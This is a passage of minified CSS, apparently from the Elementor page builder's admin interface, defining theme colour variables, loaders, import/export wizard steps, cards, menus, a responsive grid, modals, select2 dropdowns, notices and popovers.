brightness(1.2); --info-toggle-color: #818A96; --info-toggle-hover-color: #BABFC5; } .e-site-part .eps-card__image { filter: var(--placeholder-filter, none); } .e-site-part__info-toggle { color: var(--info-toggle-color); } .e-site-part__info-toggle:hover { --info-toggle-color: var(--info-toggle-hover-color); } .e-site-editor__header { margin-block-end: 2.75rem; border-block-end: 1px solid var(--hr-color); } :root { --e-elementor-loader-color: #ffffff; --e-elementor-loader-wrapper-color: #F9FAFA; --e-elementor-loader-box-color: #E6E8EA; } .eps-theme-dark { --e-elementor-loader-color: #1f2124; --e-elementor-loader-wrapper-color: #2b2c31; --e-elementor-loader-box-color: #3f444b; } .elementor-loading { background-color: var(--e-elementor-loader-color); height: 100vh; } .elementor-loader-wrapper { position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%); width: 300px; display: flex; flex-direction: column; align-items: center; gap: 30px; } .elementor-loader { border-radius: 50%; padding: 40px; height: 150px; width: 150px; background-color: var(--e-elementor-loader-wrapper-color); box-sizing: border-box; box-shadow: 2px 2px 20px 4px rgba(0, 0, 0, 0.02); } .elementor-loader-boxes { height: 100%; width: 100%; position: relative; } .elementor-loader-box { position: absolute; background-color: var(--e-elementor-loader-box-color); animation: load 1.8s linear infinite; } .elementor-loader-box:nth-of-type(1) { width: 20%; height: 100%; left: 0; top: 0; } .elementor-loader-box:not(:nth-of-type(1)) { right: 0; height: 20%; width: 60%; } .elementor-loader-box:nth-of-type(2) { top: 0; animation-delay: calc(1.8s / 4 * -1); } .elementor-loader-box:nth-of-type(3) { top: 40%; animation-delay: calc(1.8s / 4 * -2); } .elementor-loader-box:nth-of-type(4) { bottom: 0; animation-delay: calc(1.8s / 4 * -3); } .elementor-loading-title { color: #9DA5AE; text-align: center; text-transform: uppercase; letter-spacing: 7px; text-indent: 7px; font-size: 10px; width: 100%; } @keyframes load { 0% { opacity: 0.3; } 50% { opacity: 1; } 100% { opacity: 0.3; } } .eps-menu__title { margin-block-start: 2.75rem; margin-block-end: 1rem; } .e-app-import { --e-app-import-back-to-library-color: #69727D; padding-block-end: 1.25rem; } .e-app-import__drop-zone { margin-block-start: 1.25rem; } .e-app-import__back-to-library { color: var(--e-app-import-back-to-library-color); margin-block-end: 1.5rem; } .e-app-import__back-to-library > i { margin-inline-end: 0.5rem; } .eps-theme-dark .e-app-import { --e-app-import-back-to-library-color: #BABFC5; } .e-site-editor__promotion-overlay__link { display: flex; width: 100%; height: 100%; align-items: center; justify-content: center; flex-direction: column; text-decoration: none; } .e-site-editor__promotion-overlay__icon { font-size: 1.25rem; color: #ffffff; margin-block-end: 1rem; } .e-app-import-export-wizard-step { --e-app-import-export-wizard-step-icon-color: #818A96; --e-app-import-export-wizard-step-text-color: #69727D; --e-app-import-export-wizard-step-block-end-text-color: #69727D; height: 100%; position: relative; text-align: center; } .e-app-import-export-wizard-step__media-container { height: 140px; margin: 5.5rem 0 2.75rem; } .e-app-import-export-wizard-step__icon { color: var(--e-app-import-export-wizard-step-icon-color); font-size: 50px; } .e-app-import-export-wizard-step__icon.eicon-loading { font-size: 1.85rem; } .e-app-import-export-wizard-step__heading { margin-block-end: 1.5rem; } .e-app-import-export-wizard-step__description, .e-app-import-export-wizard-step__info { color: var(--e-app-import-export-wizard-step-text-color); } .e-app-import-export-wizard-step__info { margin-block-start: 1.5rem; } .e-app-import-export-wizard-step__content { text-align: initial; margin-block-end: 1.25rem; } .e-app-import-export-wizard-step__notice { display: block; position: sticky; top: 100%; /* Will prevent text overlapping when window height is too short. */ color: var(--e-app-import-export-wizard-step-block-end-text-color); font-style: italic; margin-block-end: 0; } .eps-theme-dark .e-app-import-export-wizard-step { --e-app-import-export-wizard-step-icon-color: #818A96; --e-app-import-export-wizard-step-text-color: #BABFC5; --e-app-import-export-wizard-step-block-end-text-color: #BABFC5; } .e-app-import-export-page-header { --e-app-import-export-page-header-heading-color: #515962; --e-app-import-export-page-header-description-color: #69727D; margin-block-end: 2.75rem; } .e-app-import-export-page-header__content-wrapper { max-width: 645px; } .e-app-import-export-page-header__heading { color: var(--e-app-import-export-page-header-heading-color); } .e-app-import-export-page-header__description { color: var(--e-app-import-export-page-header-description-color); margin-block-start: 1.25rem; } .eps-theme-dark .e-app-import-export-page-header { --e-app-import-export-page-header-heading-color: #D5D8DC; --e-app-import-export-page-header-description-color: #D5D8DC; } .e-app-export-kit-content { --e-app-export-kit-content-title-color: #3f444b; --e-app-export-kit-content-description-color: #515962; --e-app-export-kit-content-sm-notice-color: #BABFC5; } .e-app-export-kit-content__checkbox { flex-shrink: 0; margin-inline-end: 0.75rem; } .e-app-export-kit-content__title { color: var(--e-app-export-kit-content-title-color); } .e-app-export-kit-content__description { color: var(--e-app-export-kit-content-description-color); margin-inline-end: 1.25rem; } .e-app-export-kit-content__notice { margin-block-start: 1rem; } .e-app-export-kit-content__small-notice { font-style: italic; color: var(--e-app-export-kit-content-sm-notice-color); } .eps-theme-dark .e-app-export-kit-content { --e-app-export-kit-content-title-color: #D5D8DC; --e-app-export-kit-content-description-color: #BABFC5; --e-app-export-kit-content-sm-notice-color: #818A96; } .e-app-wizard-footer { --e-app-wizard-footer-border-color: #E6E8EA; padding: 0.5rem; } .e-app-wizard-footer__separator { border-block-start: 1px solid var(--e-app-wizard-footer-border-color); } .eps-theme-dark .e-app-wizard-footer { --e-app-wizard-footer-border-color: #333438; } .e-app-export-templates-features__locked { --e-app-export-templates-features-locked-color: #69727D; color: var(--e-app-export-templates-features-locked-color); } .eps-theme-dark .e-app-export-templates-features__locked { --e-app-export-templates-features-locked-color: #9DA5AE; } :root { --color-box-shadow-color: rgba(0, 0, 0, 0.05); } .eps-theme-dark { --color-box-shadow-color: rgba(0, 0, 0, 0.1); } :root { --card-background-color-hover: #ffffff; --card-border: 1px solid #D5D8DC; --card-header-footer-border: 1px solid var(--e-a-border-color); --card-header-footer-active-border: 2px solid #BABFC5; --card-headline-color: #515962; --card-figure-background-color: #BABFC5; --card-image-overlay-background-color: rgba(0, 0, 0, 0.2); } .eps-theme-dark { --card-background-color-hover: #2b2c31; --card-border: 1px solid #333438; --card-header-footer-border: 1px solid #333438; --card-header-footer-active-border: 1px solid #1f2124; --card-headline-color: #D5D8DC; --card-figure-background-color: #3f444b; --card-image-overlay-background-color: rgba(63, 68, 75, 0.5); } .eps-card { border: var(--card-border); border-radius: 0.1875rem; transition: 0.3s; font-size: 0.75rem; /* todo: TBD: Optionally remove headline styling in favor of a global atom depending on variation needs */ } .eps-card__header { padding: 0.625rem; border-block-end: var(--card-header-footer-border); min-height: 2.5rem; display: flex; align-items: center; } .eps-card__header--padding { padding: var(--eps-card-header-padding); } .eps-card__headline { color: var(--card-headline-color); margin-block-end: 0; font-weight: 500; flex-grow: 1; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; } .eps-card__body { padding: 0.625rem 0.625rem; } .eps-card__body--padding { padding: var(--eps-card-body-padding); } .eps-card__figure { background-color: var(--card-figure-background-color); position: relative; padding-block-end: var(--card-image-aspect-ratio, 95.6%); overflow: hidden; height: 0; } .eps-card__image { width: 100%; -o-object-fit: contain; object-fit: contain; -o-object-position: top; object-position: top; position: absolute; top: 0; left: 0; } .eps-card__image-overlay { position: absolute; top: 0; background-color: var(--card-image-overlay-background-color); z-index: 1; width: 100%; height: 100%; opacity: 0; transition: 0.3s; } .eps-card__image-overlay:hover { opacity: 1; } .eps-card__footer { padding: 0.625rem; border-block-start: var(--card-header-footer-border); font-size: 0.6875rem; } .eps-card__footer--padding { padding: var(--eps-card-footer-padding); } :root { --menu-item-color: #515962; --menu-item-color-hover: #3f444b; --menu-item-color-active: #0C0D0E; --menu-item-background-color-hover: #F9FAFA; --menu-item-background-color-active: #E6E8EA; --menu-item-action-button-color: #9DA5AE; } .eps-theme-dark { --menu-item-color: #D5D8DC; --menu-item-color-hover: #BABFC5; --menu-item-color-active: #9DA5AE; --menu-item-background-color-hover: #2b2c31; --menu-item-background-color-active: #333438; --menu-item-action-button-color: #818A96; } .eps-menu-item { display: flex; align-items: center; position: relative; transition: 0.3s; --action-button-opacity: 0; } .eps-menu-item::before { content: ""; display: block; position: absolute; top: 0; left: 0; height: 100%; width: var(--menu-item-pointer-width); background-color: #0C0D0E; } .eps-menu-item:hover:not(.eps-menu-item--active) { background-color: var(--menu-item-background-color-hover); --action-button-opacity: 1; --menu-item-color: var(--menu-item-color-hover); --eps-link-color: var(--menu-item-color-hover); } .eps-menu-item--active { background-color: var(--menu-item-background-color-active); --menu-item-color: var(--menu-item-color-active); --eps-link-color: var(--menu-item-color-active); } .eps-menu-item__link { padding: 0.5rem 1.875rem; min-height: 2.75rem; font-size: 0.75rem; line-height: 1.2; flex-grow: 1; display: flex; align-items: center; color: var(--menu-item-color); --eps-link-color: var(--menu-item-color); } .eps-menu-item__link:not(:last-child) { padding-inline-end: 0; } .eps-menu-item__link .eps-icon { font-size: 1.125rem; margin-inline-end: 0.75rem; } .eps-menu-item__action-button { opacity: var(--action-button-opacity); padding: 0.625rem; transition: 0.3s; margin-inline-end: 1.25rem; } .eps-menu-item--active { --menu-item-pointer-width: 0.3125rem; } .eps-grid-container { display: flex; flex-wrap: wrap; width: 100%; } .eps-grid-container--no-wrap { flex-wrap: nowrap; } .eps-grid-container--wrap-reverse { flex-wrap: wrap-reverse; } .eps-grid-container--spacing { --grid-row-gutter: calc(-1 * calc(var(--grid-spacing-gutter) * 0.625rem / 10)); width: var(--grid-spacing-width); margin: var(--grid-row-gutter); } .eps-grid-container--spacing > .eps-grid-item { padding: var(--grid-spacing-gutter); } .eps-grid--direction-row { flex-direction: row; } .eps-grid--direction-row-reverse { flex-direction: row-reverse; } .eps-grid--direction-column { flex-direction: column; } .eps-grid--direction-column-reverse { flex-direction: column-reverse; } .eps-grid--justify-stretch { justify-content: stretch; } .eps-grid--justify-start { justify-content: flex-start; } .eps-grid--justify-center { justify-content: center; } .eps-grid--justify-end { justify-content: flex-end; } .eps-grid--justify-space-between { justify-content: space-between; } .eps-grid--justify-space-around { justify-content: space-around; } .eps-grid--justify-space-evenly { justify-content: space-evenly; } .eps-grid--align-content-stretch { align-content: stretch; } .eps-grid--align-content-start { align-content: flex-start; } .eps-grid--align-content-center { align-content: center; } .eps-grid--align-content-end { align-content: flex-end; } .eps-grid--align-content-space-between { align-content: space-between; } .eps-grid--align-items-start { align-items: flex-start; } .eps-grid--align-items-center { align-items: center; } .eps-grid--align-items-end { align-items: flex-end; } .eps-grid--align-items-baseline { align-items: baseline; } .eps-grid--align-items-stretch { align-items: stretch; } .eps-grid-item--zero-min-width { min-width: 0; } @media screen and (min-width: 480px) { .eps-grid-item-sm { flex-grow: 1; max-width: 100%; flex-basis: 0; } } @media screen and (min-width: 768px) { .eps-grid-item-md { flex-grow: 1; max-width: 100%; flex-basis: 0; } } @media screen and (min-width: 1025px) { .eps-grid-item-lg { flex-grow: 1; max-width: 100%; flex-basis: 0; } } @media screen and (min-width: 1440px) { .eps-grid-item-xl { flex-grow: 1; max-width: 100%; flex-basis: 0; } } @media screen and (min-width: 1600px) { .eps-grid-item-xxl { flex-grow: 1; max-width: 100%; flex-basis: 0; } } .eps-grid-item-xs-1 { flex-grow: 0; max-width: calc(1 / 12 * 100%); flex-basis: calc(1 / 12 * 100%); } .eps-grid-item-xs-2 { flex-grow: 0; max-width: calc(2 / 12 * 100%); flex-basis: calc(2 / 12 * 100%); } .eps-grid-item-xs-3 { flex-grow: 0; max-width: calc(3 / 12 * 100%); flex-basis: calc(3 / 12 * 100%); } .eps-grid-item-xs-4 { flex-grow: 0; max-width: calc(4 / 12 * 100%); flex-basis: calc(4 / 12 * 100%); } .eps-grid-item-xs-5 { flex-grow: 0; max-width: calc(5 / 12 * 100%); flex-basis: calc(5 / 12 * 100%); } .eps-grid-item-xs-6 { flex-grow: 0; max-width: calc(6 / 12 * 100%); flex-basis: calc(6 / 12 * 100%); } .eps-grid-item-xs-7 { flex-grow: 0; max-width: calc(7 / 12 * 100%); flex-basis: calc(7 / 12 * 100%); } .eps-grid-item-xs-8 { flex-grow: 0; max-width: calc(8 / 12 * 100%); flex-basis: calc(8 / 12 * 100%); } .eps-grid-item-xs-9 { flex-grow: 0; max-width: calc(9 / 12 * 100%); flex-basis: calc(9 / 12 * 100%); } .eps-grid-item-xs-10 { flex-grow: 0; max-width: calc(10 / 12 * 100%); flex-basis: calc(10 / 12 * 100%); } .eps-grid-item-xs-11 { flex-grow: 0; max-width: calc(11 / 12 * 100%); flex-basis: calc(11 / 12 * 100%); } .eps-grid-item-xs-12 { flex-grow: 0; max-width: calc(12 / 12 * 100%); flex-basis: calc(12 / 12 * 100%); } @media screen and (min-width: 480px) { .eps-grid-item-sm-1 { flex-grow: 0; max-width: calc(1 / 12 * 100%); flex-basis: calc(1 / 12 * 100%); } .eps-grid-item-sm-2 { flex-grow: 0; max-width: calc(2 / 12 * 100%); flex-basis: calc(2 / 12 * 100%); } .eps-grid-item-sm-3 { flex-grow: 0; max-width: calc(3 / 12 * 100%); flex-basis: calc(3 / 12 * 100%); } .eps-grid-item-sm-4 { flex-grow: 0; max-width: calc(4 / 12 * 100%); flex-basis: calc(4 / 12 * 100%); } .eps-grid-item-sm-5 { flex-grow: 0; max-width: calc(5 / 12 * 100%); flex-basis: calc(5 / 12 * 100%); } .eps-grid-item-sm-6 { flex-grow: 0; max-width: calc(6 / 12 * 100%); flex-basis: calc(6 / 12 * 100%); } .eps-grid-item-sm-7 { flex-grow: 0; max-width: calc(7 / 12 * 100%); flex-basis: calc(7 / 12 * 100%); } .eps-grid-item-sm-8 { flex-grow: 0; max-width: calc(8 / 12 * 100%); flex-basis: calc(8 / 12 * 100%); } .eps-grid-item-sm-9 { flex-grow: 0; max-width: calc(9 / 12 * 100%); flex-basis: calc(9 / 12 * 100%); } .eps-grid-item-sm-10 { flex-grow: 0; max-width: calc(10 / 12 * 100%); flex-basis: calc(10 / 12 * 100%); } .eps-grid-item-sm-11 { flex-grow: 0; max-width: calc(11 / 12 * 100%); flex-basis: calc(11 / 12 * 100%); } .eps-grid-item-sm-12 { flex-grow: 0; max-width: calc(12 / 12 * 100%); flex-basis: calc(12 / 12 * 100%); } } @media screen and (min-width: 768px) { .eps-grid-item-md-1 { flex-grow: 0; max-width: calc(1 / 12 * 100%); flex-basis: calc(1 / 12 * 100%); } .eps-grid-item-md-2 { flex-grow: 0; max-width: calc(2 / 12 * 100%); flex-basis: calc(2 / 12 * 100%); } .eps-grid-item-md-3 { flex-grow: 0; max-width: calc(3 / 12 * 100%); flex-basis: calc(3 / 12 * 100%); } .eps-grid-item-md-4 { flex-grow: 0; max-width: calc(4 / 12 * 100%); flex-basis: calc(4 / 12 * 100%); } .eps-grid-item-md-5 { flex-grow: 0; max-width: calc(5 / 12 * 100%); flex-basis: calc(5 / 12 * 100%); } .eps-grid-item-md-6 { flex-grow: 0; max-width: calc(6 / 12 * 100%); flex-basis: calc(6 / 12 * 100%); } .eps-grid-item-md-7 { flex-grow: 0; max-width: calc(7 / 12 * 100%); flex-basis: calc(7 / 12 * 100%); } .eps-grid-item-md-8 { flex-grow: 0; max-width: calc(8 / 12 * 100%); flex-basis: calc(8 / 12 * 100%); } .eps-grid-item-md-9 { flex-grow: 0; max-width: calc(9 / 12 * 100%); flex-basis: calc(9 / 12 * 100%); } .eps-grid-item-md-10 { flex-grow: 0; max-width: calc(10 / 12 * 100%); flex-basis: calc(10 / 12 * 100%); } .eps-grid-item-md-11 { flex-grow: 0; max-width: calc(11 / 12 * 100%); flex-basis: calc(11 / 12 * 100%); } .eps-grid-item-md-12 { flex-grow: 0; max-width: calc(12 / 12 * 100%); flex-basis: calc(12 / 12 * 100%); } } @media screen and (min-width: 1025px) { .eps-grid-item-lg-1 { flex-grow: 0; max-width: calc(1 / 12 * 100%); flex-basis: calc(1 / 12 * 100%); } .eps-grid-item-lg-2 { flex-grow: 0; max-width: calc(2 / 12 * 100%); flex-basis: calc(2 / 12 * 100%); } .eps-grid-item-lg-3 { flex-grow: 0; max-width: calc(3 / 12 * 100%); flex-basis: calc(3 / 12 * 100%); } .eps-grid-item-lg-4 { flex-grow: 0; max-width: calc(4 / 12 * 100%); flex-basis: calc(4 / 12 * 100%); } .eps-grid-item-lg-5 { flex-grow: 0; max-width: calc(5 / 12 * 100%); flex-basis: calc(5 / 12 * 100%); } .eps-grid-item-lg-6 { flex-grow: 0; max-width: calc(6 / 12 * 100%); flex-basis: calc(6 / 12 * 100%); } .eps-grid-item-lg-7 { flex-grow: 0; max-width: calc(7 / 12 * 100%); flex-basis: calc(7 / 12 * 100%); } .eps-grid-item-lg-8 { flex-grow: 0; max-width: calc(8 / 12 * 100%); flex-basis: calc(8 / 12 * 100%); } .eps-grid-item-lg-9 { flex-grow: 0; max-width: calc(9 / 12 * 100%); flex-basis: calc(9 / 12 * 100%); } .eps-grid-item-lg-10 { flex-grow: 0; max-width: calc(10 / 12 * 100%); flex-basis: calc(10 / 12 * 100%); } .eps-grid-item-lg-11 { flex-grow: 0; max-width: calc(11 / 12 * 100%); flex-basis: calc(11 / 12 * 100%); } .eps-grid-item-lg-12 { flex-grow: 0; max-width: calc(12 / 12 * 100%); flex-basis: calc(12 / 12 * 100%); } } @media screen and (min-width: 1440px) { .eps-grid-item-xl-1 { flex-grow: 0; max-width: calc(1 / 12 * 100%); flex-basis: calc(1 / 12 * 100%); } .eps-grid-item-xl-2 { flex-grow: 0; max-width: calc(2 / 12 * 100%); flex-basis: calc(2 / 12 * 100%); } .eps-grid-item-xl-3 { flex-grow: 0; max-width: calc(3 / 12 * 100%); flex-basis: calc(3 / 12 * 100%); } .eps-grid-item-xl-4 { flex-grow: 0; max-width: calc(4 / 12 * 100%); flex-basis: calc(4 / 12 * 100%); } .eps-grid-item-xl-5 { flex-grow: 0; max-width: calc(5 / 12 * 100%); flex-basis: calc(5 / 12 * 100%); } .eps-grid-item-xl-6 { flex-grow: 0; max-width: calc(6 / 12 * 100%); flex-basis: calc(6 / 12 * 100%); } .eps-grid-item-xl-7 { flex-grow: 0; max-width: calc(7 / 12 * 100%); flex-basis: calc(7 / 12 * 100%); } .eps-grid-item-xl-8 { flex-grow: 0; max-width: calc(8 / 12 * 100%); flex-basis: calc(8 / 12 * 100%); } .eps-grid-item-xl-9 { flex-grow: 0; max-width: calc(9 / 12 * 100%); flex-basis: calc(9 / 12 * 100%); } .eps-grid-item-xl-10 { flex-grow: 0; max-width: calc(10 / 12 * 100%); flex-basis: calc(10 / 12 * 100%); } .eps-grid-item-xl-11 { flex-grow: 0; max-width: calc(11 / 12 * 100%); flex-basis: calc(11 / 12 * 100%); } .eps-grid-item-xl-12 { flex-grow: 0; max-width: calc(12 / 12 * 100%); flex-basis: calc(12 / 12 * 100%); } } @media screen and (min-width: 1600px) { .eps-grid-item-xxl-1 { flex-grow: 0; max-width: calc(1 / 12 * 100%); flex-basis: calc(1 / 12 * 100%); } .eps-grid-item-xxl-2 { flex-grow: 0; max-width: calc(2 / 12 * 100%); flex-basis: calc(2 / 12 * 100%); } .eps-grid-item-xxl-3 { flex-grow: 0; max-width: calc(3 / 12 * 100%); flex-basis: calc(3 / 12 * 100%); } .eps-grid-item-xxl-4 { flex-grow: 0; max-width: calc(4 / 12 * 100%); flex-basis: calc(4 / 12 * 100%); } .eps-grid-item-xxl-5 { flex-grow: 0; max-width: calc(5 / 12 * 100%); flex-basis: calc(5 / 12 * 100%); } .eps-grid-item-xxl-6 { flex-grow: 0; max-width: calc(6 / 12 * 100%); flex-basis: calc(6 / 12 * 100%); } .eps-grid-item-xxl-7 { flex-grow: 0; max-width: calc(7 / 12 * 100%); flex-basis: calc(7 / 12 * 100%); } .eps-grid-item-xxl-8 { flex-grow: 0; max-width: calc(8 / 12 * 100%); flex-basis: calc(8 / 12 * 100%); } .eps-grid-item-xxl-9 { flex-grow: 0; max-width: calc(9 / 12 * 100%); flex-basis: calc(9 / 12 * 100%); } .eps-grid-item-xxl-10 { flex-grow: 0; max-width: calc(10 / 12 * 100%); flex-basis: calc(10 / 12 * 100%); } .eps-grid-item-xxl-11 { flex-grow: 0; max-width: calc(11 / 12 * 100%); flex-basis: calc(11 / 12 * 100%); } .eps-grid-item-xxl-12 { flex-grow: 0; max-width: calc(12 / 12 * 100%); flex-basis: calc(12 / 12 * 100%); } } :root { --menu-title-color: #515962; } .eps-theme-dark { --menu-title-color: #515962; } .eps-menu ul { list-style: none; padding: 0; margin: 0; } .eps-menu ul li { display: flex; } .eps-menu__title { padding: 0.5rem 1.875rem; font-size: 0.6875rem; line-height: 1.2; text-transform: uppercase; font-weight: normal; color: var(--menu-title-color); } :root { --eps-modal-background-color: #ffffff; --eps-modal-header-background-color: #2563EB; --eps-tip-background-color: #F0F7FF; } .eps-theme-dark { --eps-modal-background-color: #0C0D0E; --eps-modal-header-background-color: #0077CC; --eps-tip-background-color: #0A1A3D; } /** ---------------------------------------------------------------- EPS Modal ---------------------------------------------------------------- */ .eps-modal { max-width: 43.75rem; background: var(--eps-modal-background-color); border-radius: 0.1875rem; animation: eps-animation-pop 0.15s cubic-bezier(0.57, 0.53, 0.71, 1.47) forwards; } .eps-modal__overlay { background: rgba(0, 0, 0, 0.5); position: fixed; display: flex; top: 0; left: 0; width: 100%; height: 100%; align-items: center; justify-content: center; z-index: 1030; } .eps-modal__header { font-size: 0.875rem; background: var(--eps-modal-header-background-color); height: 2.75rem; padding: 0.625rem 1rem; border-radius: 0.1875rem; } .eps-modal__header, .eps-modal__header .title { color: #ffffff; } .eps-modal__icon { margin-inline-end: 0.625rem; } .eps-modal__body { padding: 1.875rem; } .eps-modal__tip, .eps-modal .eps-tip { padding: 0.5rem; padding-inline-start: 0.75rem; border-inline-start: 3px solid #2563EB; background-color: var(--eps-tip-background-color); } .eps-modal__tip:not(:last-child), .eps-modal .eps-tip:not(:last-child) { margin-block-end: 1.875rem; } .eps-modal__tip:not(:first-child), .eps-modal .eps-tip:not(:first-child) { margin-block-start: 1.875rem; } .eps-modal__section:not(:first-child) { margin-block-start: 1.875rem; } .eps-modal__close-wrapper { padding-inline-start: 1rem; border-inline-start: solid 1px #ffffff; } .eps-add-new-button { display: inline-flex; --eps-add-new-button-size: 1.5rem; line-height: var(--eps-add-new-button-size); cursor: pointer; } .eps-add-new-button .eps-icon { background-color: #F3BAFD; color: #0C0D0E; width: var(--eps-add-new-button-size); height: var(--eps-add-new-button-size); border-radius: 100%; font-size: calc(var(--eps-add-new-button-size) * 0.75); text-align: center; line-height: var(--eps-add-new-button-size); } .eps-add-new-button span:not(.sr-only) { margin-inline-start: 0.625rem; font-weight: 500; } .eps-add-new-button--sm { --eps-add-new-button-size: 1rem; } :root { --select2-selection-background-color: #ffffff; --select2-selection-color: #515962; --select2-selection-border-color: #9DA5AE; --select2-selection-opened-focused-border-color: #BABFC5; --select2-single-selection-rendered-color: #515962; --select2-default-single-selection-background-color: #ffffff; --select2-default-single-selection-border-color: #9DA5AE; --select2-default-multiple-selection-background-color: #ffffff; --select2-default-multiple-selection-choice-background-color: #BABFC5; --select2-default-multiple-selection-choice-color: #515962; --select2-default-multiple-selection-choice-border-color: #BABFC5; --select2-default-multiple-selection-choice-remove-color: #69727D; --select2-default-multiple-selection-choice-remove-hover-color: #515962; --select2-default-results-selected-option-background-color: #ffffff; --select2-default-results-selected-option-color: #515962; --select2-default-results-highlighted-option-background-color: #5897fb; --select2-default-results-highlighted-option-color: #ffffff; --select2-results-selected-option-background-color: #5897fb; --select2-results-selected-option-color: #ffffff; --select2-dropdown-background-color: #ffffff; --select2-dropdown-border-color: #9DA5AE; } .eps-theme-dark { --select2-selection-background-color: #3f444b; --select2-selection-color: #D5D8DC; --select2-selection-border-color: #818A96; --select2-selection-opened-focused-border-color: #9DA5AE; --select2-single-selection-rendered-color: #D5D8DC; --select2-default-single-selection-background-color: #3f444b; --select2-default-single-selection-border-color: #69727D; --select2-default-multiple-selection-background-color: #3f444b; --select2-default-multiple-selection-choice-background-color: #69727D; --select2-default-multiple-selection-choice-color: #D5D8DC; --select2-default-multiple-selection-choice-border-color: #69727D; --select2-default-multiple-selection-choice-remove-color: #BABFC5; --select2-default-multiple-selection-choice-remove-hover-color: #D5D8DC; --select2-default-results-selected-option-background-color: #3f444b; --select2-default-results-selected-option-color: #D5D8DC; --select2-default-results-highlighted-option-background-color: #69727D; --select2-default-results-highlighted-option-color: #D5D8DC; --select2-results-selected-option-background-color: #69727D; --select2-results-selected-option-color: #D5D8DC; --select2-dropdown-background-color: #3f444b; --select2-dropdown-border-color: #818A96; } .select2-container:not(.select2-container--open):not(.select2-container--focus) .select2-selection--single, .select2-container:not(.select2-container--open):not(.select2-container--focus) .select2-selection--multiple { background-color: var(--select2-selection-background-color); color: var(--select2-selection-color); border-color: var(--select2-selection-border-color); } .select2-container.select2-container--open .select2-selection--single, .select2-container.select2-container--open .select2-selection--multiple, .select2-container.select2-container--focus .select2-selection--single, .select2-container.select2-container--focus .select2-selection--multiple { border-color: var(--select2-selection-opened-focused-border-color); } .select2-container.select2-container--default .select2-selection--single .select2-selection__rendered { color: var(--select2-single-selection-rendered-color); } .select2-container--default .select2-selection--single { background-color: var(--select2-default-single-selection-background-color); border-color: var(--select2-default-single-selection-border-color); } .select2-container--default .select2-selection--multiple { background-color: var(--select2-default-multiple-selection-background-color); } .select2-container--default .select2-selection--multiple .select2-selection__choice { background-color: var(--select2-default-multiple-selection-choice-background-color); color: var(--select2-default-multiple-selection-choice-color); border-color: var(--select2-default-multiple-selection-choice-border-color); } .select2-container--default .select2-selection--multiple .select2-selection__choice__remove { color: var(--select2-default-multiple-selection-choice-remove-color); } .select2-container--default .select2-selection--multiple .select2-selection__choice__remove:hover { color: var(--select2-default-multiple-selection-choice-remove-hover-color); } .select2-container--default .select2-results__option[aria-selected] { background-color: var(--select2-default-results-selected-option-background-color); color: var(--select2-default-results-selected-option-color); } .select2-container--default .select2-results__option--highlighted[aria-selected] { background-color: var(--select2-default-results-highlighted-option-background-color); color: var(--select2-default-results-highlighted-option-color); } .select2-container .select2-results__option[aria-selected=true] { background-color: var(--select2-results-selected-option-background-color); color: var(--select2-results-selected-option-color); } .select2-container .select2-dropdown { background-color: var(--select2-dropdown-background-color); border-color: var(--select2-dropdown-border-color); } .eps-notice { --eps-box-notice-background-color: #F1F2F3; padding: 0.625rem 1rem; } .eps-notice-semantic { border-inline-start: 3px solid var(--eps-notice-semantic-color); background-color: var(--eps-notice-semantic-bg); } .eps-notice-semantic .eps-notice__icon { color: var(--eps-notice-semantic-color); font-size: 1rem; margin-inline-end: 0.75rem; } .eps-notice--warning { --eps-notice-semantic-color: #F59E0B; --eps-notice-semantic-bg: #FFFBEB; } .eps-notice--danger { --eps-notice-semantic-color: #DC2626; --eps-notice-semantic-bg: #FEF1F4; } .eps-notice--info { --eps-notice-semantic-color: #2563EB; --eps-notice-semantic-bg: #F0F7FF; } .eps-notice__text { margin: 0; padding: 0; } .eps-notice__button-container { flex-shrink: 0; margin-inline-start: 1.25rem; width: auto; } .eps-theme-dark .eps-notice { --eps-box-notice-background-color: #515962; } .eps-theme-dark .eps-notice--warning { --eps-notice-semantic-bg: #311808; } .eps-theme-dark .eps-notice--danger { --eps-notice-semantic-bg: #390A0A; } .eps-theme-dark .eps-notice--info { --eps-notice-semantic-bg: #0A1A3D; } .eps-list { --eps-list-item-separated-border-color: #BABFC5; padding: 0; margin: 0; border-radius: 0.1875rem; border: 1px solid var(--e-a-border-color); list-style-type: none; } .eps-list--padding { padding: var(--eps-list-padding); } .eps-list__item { padding: 0; } .eps-list__item--padding { padding: var(--eps-list-item-padding); } .eps-list--separated .eps-list__item:not(:last-child) { border-block-end: 1px solid var(--eps-list-item-separated-border-color); } .eps-theme-dark .eps-list { --eps-list-item-separated-border-color: #3f444b; } :root { --popover-background-color: #ffffff; --popover-item-color: #515962; --popover-item-hover-color: #3f444b; --popover-item-danger-hover-color: #DC2626; --popover-item-background-color: #ffffff; --popover-box-shadow-color: rgba(0, 0, 0, 0.15); --popover-box-shadow-size: 0px 1px 20px; --popover-arrow-color: #ffffff; } .eps-theme-dark { --popover-background-color: #1f2124; --popover-item-color: #ffffff; --popover-item-hover-color: #D5D8DC; --popover-item-danger-hover-color: #F84343; --popover-item-background-color: #1f2124; --popover-box-shadow-color: rgba(0, 0, 0, 0.15); --popover-box-shadow-size: 0px 1px 20px; --popover-arrow-color: #1f2124; } .eps-popover { padding: 10px 0; background-color: var(--popover-background-color); box-shadow: var(--popover-box-shadow-size) var(--popover-box-shadow-color); list-style: none; display: flex; flex-direction: column; min-width: 120px; border-radius: 0.1875rem; position: absolute; z-index: 1050; margin-block-start: 9px; transform: translateX(-50%); left: 0.25rem; } .eps-popover__background { position: fixed; top: 0; bottom: 0; left: 0; right: 0; z-index: 1030; } .eps-popover__container { position: relative; } .eps-popover::before { content: ""; display: block; position: absolute; width: 16px; height: 9px; margin: 0 0.1875rem 9px; top: -9px; left: 50%; transform: translateX(-50%); border-color: transparent; border-style: solid; border-width: 0 calc(16px / 2) 9px calc(16px / 2); border-block-end-color: var(--popover-arrow-color); } .eps-popover__item { padding: 0.3125rem 1rem; background-color: var(--popover-item-background-color); color: var(--popover-item-color); font-size: 0.6875rem; font-weight: 500; line-height: 0.8125rem; width: 100%; align-items: center; cursor: pointer; } .eps-popover__item:hover { color: var(--popover-item-hover-color); } .eps-popover__item--danger:hover { color: var(--popover-item-danger-hover-color); } .eps-popover__item .eps-icon { font-size: inherit; margin-inline-end: 0.3125rem; } .eps-css-grid { display: grid; grid-template-columns: repeat(var(--eps-grid-columns, auto-fill), minmax(var(--eps-grid-col-min-width, 1fr), var(--eps-grid-col-max-width, 1fr))); grid-gap: var(--eps-grid-spacing); } .eps-box { --eps-box-color: #1f2124; 